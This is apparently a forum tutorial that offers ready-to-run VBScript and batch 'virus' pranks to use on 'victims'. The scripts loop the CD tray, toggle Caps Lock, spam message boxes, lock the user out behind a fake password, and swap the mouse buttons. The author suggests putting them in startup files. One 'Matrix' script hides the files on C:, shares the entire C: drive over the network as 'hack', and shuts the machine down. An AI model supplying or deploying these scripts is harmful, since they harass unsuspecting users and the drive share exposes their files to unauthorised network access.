Batch Programming Tuts, Virus - Low Risk

The first code we are going to look at is one that makes the cd tray open and close repeatedly until shutdown, or
(don't tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
end if


next, we have a code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


Now we have a batch file that pops up with repeating message boxes

:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * since you are stuck reading
msg * I am gonna tell you a story
msg * bout a dumb guy named (victims name)
msg * who just opened my batch
msg * and got stuck listening to a story
msg * from a computer
msg * so he was opening up batches
msg * when one pops up with a cool msg
msg * then it says "hi"
msg * Hi
msg * Are you having fun?
msg * I am!
msg * have fun playing with this one (insert victim)
msg * Because you have been P-w-n-e-d with a capital "P"
GOTO BEGIN


we now have a batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off startup?

@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if '%password%==qwerty goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=qwerty
prompt $p$g


now we have a batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someones autoexec,
that would really make them mad)

@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * this is gunna screw you up
msg * good look finding how to fix it


batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more, some one
could tweak it a little and i'll repost it and give you credit, perhaps change the dos txt to green

@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:*.*
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings*.*
net share hack=C:
shutdown -s -c 60


this is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want

Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.run "Notepad"
wscript.sleep 400
wshshell.sendkeys "M"
wscript.sleep 100
wshshell.sendkeys "a"
wscript.sleep 120
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys "o"
wscript.sleep 140
wshshell.sendkeys "n"
wscript.sleep 100
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "P"
wscript.sleep 200
wshshell.sendkeys "w"
wscript.sleep 150
wshshell.sendkeys "n"
wscript.sleep 170
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "A"
wscript.sleep 50
wshshell.sendkeys "l"
wscript.sleep 120
wshshell.sendkeys "l"
wscript.sleep 160
wshshell.sendkeys " "
wscript.sleep 200
wshshell.sendkeys "N"
wscript.sleep 100
wshshell.sendkeys "e"
wscript.sleep 100
wshshell.sendkeys "w"
wscript.sleep 200
wshshell.sendkeys "b"
wscript.sleep 120
wshshell.sendkeys "s"